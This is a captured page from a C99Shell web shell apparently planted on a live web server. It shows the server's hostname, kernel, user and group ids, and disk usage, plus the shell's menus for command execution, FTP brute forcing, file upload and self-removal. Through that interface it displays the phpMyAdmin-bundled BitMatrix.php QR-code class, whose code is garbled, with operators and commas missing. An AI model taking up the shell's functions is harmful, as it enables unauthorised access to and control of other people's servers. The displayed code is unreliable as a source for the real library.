!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/bacon/bacon-qr-code/src/Common/   drwxr-xr-x
Free 28.15 GB of 117.98 GB (23.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     BitMatrix.php (7.55 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
declare(strict_types 1);

namespace 
BaconQrCode\Common;

use 
BaconQrCode\Exception\InvalidArgumentException;
use 
SplFixedArray;

/**
 * Bit matrix.
 *
 * Represents a 2D matrix of bits. In function arguments below, and throughout
 * the common module, x is the column position, and y is the row position. The
 * ordering is always x, y. The origin is at the top-left.
 */
class BitMatrix
{
    
/**
     * Width of the bit matrix.
     *
     * @var int
     */
    
private $width;

    
/**
     * Height of the bit matrix.
     *
     * @var int
     */
    
private $height;

    
/**
     * Size in bits of each individual row.
     *
     * @var int
     */
    
private $rowSize;

    
/**
     * Bits representation.
     *
     * @var SplFixedArray<int>
     */
    
private $bits;

    
/**
     * @throws InvalidArgumentException if a dimension is smaller than zero
     */
    
public function __construct(int $widthint $height null)
    {
        if (
null === $height) {
            
$height $width;
        }

        if (
$width || $height 1) {
            throw new 
InvalidArgumentException('Both dimensions must be greater than zero');
        }

        
$this->width $width;
        
$this->height $height;
        
$this->rowSize = ($width 31) >> 5;
        
$this->bits SplFixedArray::fromArray(array_fill(0$this->rowSize $height0));
    }

    
/**
     * Gets the requested bit, where true means black.
     */
    
public function get(int $xint $y) : bool
    
{
        
$offset $y $this->rowSize + ($x >> 5);
        return 
!== (BitUtils::unsignedRightShift($this->bits[$offset], ($x 0x1f)) & 1);
    }

    
/**
     * Sets the given bit to true.
     */
    
public function set(int $xint $y) : void
    
{
        
$offset $y $this->rowSize + ($x >> 5);
        
$this->bits[$offset] = $this->bits[$offset] | (<< ($x 0x1f));
    }

    
/**
     * Flips the given bit.
     */
    
public function flip(int $xint $y) : void
    
{
        
$offset $y $this->rowSize + ($x >> 5);
        
$this->bits[$offset] = $this->bits[$offset] ^ (<< ($x 0x1f));
    }

    
/**
     * Clears all bits (set to false).
     */
    
public function clear() : void
    
{
        
$max count($this->bits);

        for (
$i 0$i $max; ++$i) {
            
$this->bits[$i] = 0;
        }
    }

    
/**
     * Sets a square region of the bit matrix to true.
     *
     * @throws InvalidArgumentException if left or top are negative
     * @throws InvalidArgumentException if width or height are smaller than 1
     * @throws InvalidArgumentException if region does not fit into the matix
     */
    
public function setRegion(int $leftint $topint $widthint $height) : void
    
{
        if (
$top || $left 0) {
            throw new 
InvalidArgumentException('Left and top must be non-negative');
        }

        if (
$height || $width 1) {
            throw new 
InvalidArgumentException('Width and height must be at least 1');
        }

        
$right $left $width;
        
$bottom $top $height;

        if (
$bottom $this->height || $right $this->width) {
            throw new 
InvalidArgumentException('The region must fit inside the matrix');
        }

        for (
$y $top$y $bottom; ++$y) {
            
$offset $y $this->rowSize;

            for (
$x $left$x $right; ++$x) {
                
$index $offset + ($x >> 5);
                
$this->bits[$index] = $this->bits[$index] | (<< ($x 0x1f));
            }
        }
    }

    
/**
     * A fast method to retrieve one row of data from the matrix as a BitArray.
     */
    
public function getRow(int $yBitArray $row null) : BitArray
    
{
        if (
null === $row || $row->getSize() < $this->width) {
            
$row = new BitArray($this->width);
        }

        
$offset $y $this->rowSize;

        for (
$x 0$x $this->rowSize; ++$x) {
            
$row->setBulk($x << 5$this->bits[$offset $x]);
        }

        return 
$row;
    }

    
/**
     * Sets a row of data from a BitArray.
     */
    
public function setRow(int $yBitArray $row) : void
    
{
        
$bits $row->getBitArray();

        for (
$i 0$i $this->rowSize; ++$i) {
            
$this->bits[$y $this->rowSize $i] = $bits[$i];
        }
    }

    
/**
     * This is useful in detecting the enclosing rectangle of a 'pure' barcode.
     *
     * @return int[]|null
     */
    
public function getEnclosingRectangle() : ?array
    {
        
$left $this->width;
        
$top $this->height;
        
$right = -1;
        
$bottom = -1;

        for (
$y 0$y $this->height; ++$y) {
            for (
$x32 0$x32 $this->rowSize; ++$x32) {
                
$bits $this->bits[$y $this->rowSize $x32];

                if (
!== $bits) {
                    if (
$y $top) {
                        
$top $y;
                    }

                    if (
$y $bottom) {
                        
$bottom $y;
                    }

                    if (
$x32 32 $left) {
                        
$bit 0;

                        while ((
$bits << (31 $bit)) === 0) {
                            
$bit++;
                        }

                        if ((
$x32 32 $bit) < $left) {
                            
$left $x32 32 $bit;
                        }
                    }
                }

                if (
$x32 32 31 $right) {
                    
$bit 31;

                    while (
=== BitUtils::unsignedRightShift($bits$bit)) {
                        --
$bit;
                    }

                    if ((
$x32 32 $bit) > $right) {
                        
$right $x32 32 $bit;
                    }
                }
            }
        }

        
$width $right $left;
        
$height $bottom $top;

        if (
$width || $height 0) {
            return 
null;
        }

        return [
$left$top$width$height];
    }

    
/**
     * Gets the most top left set bit.
     *
     * This is useful in detecting a corner of a 'pure' barcode.
     *
     * @return int[]|null
     */
    
public function getTopLeftOnBit() : ?array
    {
        
$bitsOffset 0;

        while (
$bitsOffset count($this->bits) && === $this->bits[$bitsOffset]) {
            ++
$bitsOffset;
        }

        if (
count($this->bits) === $bitsOffset) {
            return 
null;
        }

        
$x intdiv($bitsOffset$this->rowSize);
        
$y = ($bitsOffset $this->rowSize) << 5;

        
$bits $this->bits[$bitsOffset];
        
$bit 0;

        while (
=== ($bits << (31 $bit))) {
            ++
$bit;
        }

        
$x += $bit;

        return [
$x$y];
    }

    
/**
     * Gets the most bottom right set bit.
     *
     * This is useful in detecting a corner of a 'pure' barcode.
     *
     * @return int[]|null
     */
    
public function getBottomRightOnBit() : ?array
    {
        
$bitsOffset count($this->bits) - 1;

        while (
$bitsOffset >= && === $this->bits[$bitsOffset]) {
            --
$bitsOffset;
        }

        if (
$bitsOffset 0) {
            return 
null;
        }

        
$x intdiv($bitsOffset$this->rowSize);
        
$y = ($bitsOffset $this->rowSize) << 5;

        
$bits $this->bits[$bitsOffset];
        
$bit  0;

        while (
=== BitUtils::unsignedRightShift($bits$bit)) {
            --
$bit;
        }

        
$x += $bit;

        return [
$x$y];
    }

    
/**
     * Gets the width of the matrix,
     */
    
public function getWidth() : int
    
{
        return 
$this->width;
    }

    
/**
     * Gets the height of the matrix.
     */
    
public function getHeight() : int
    
{
        return 
$this->height;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--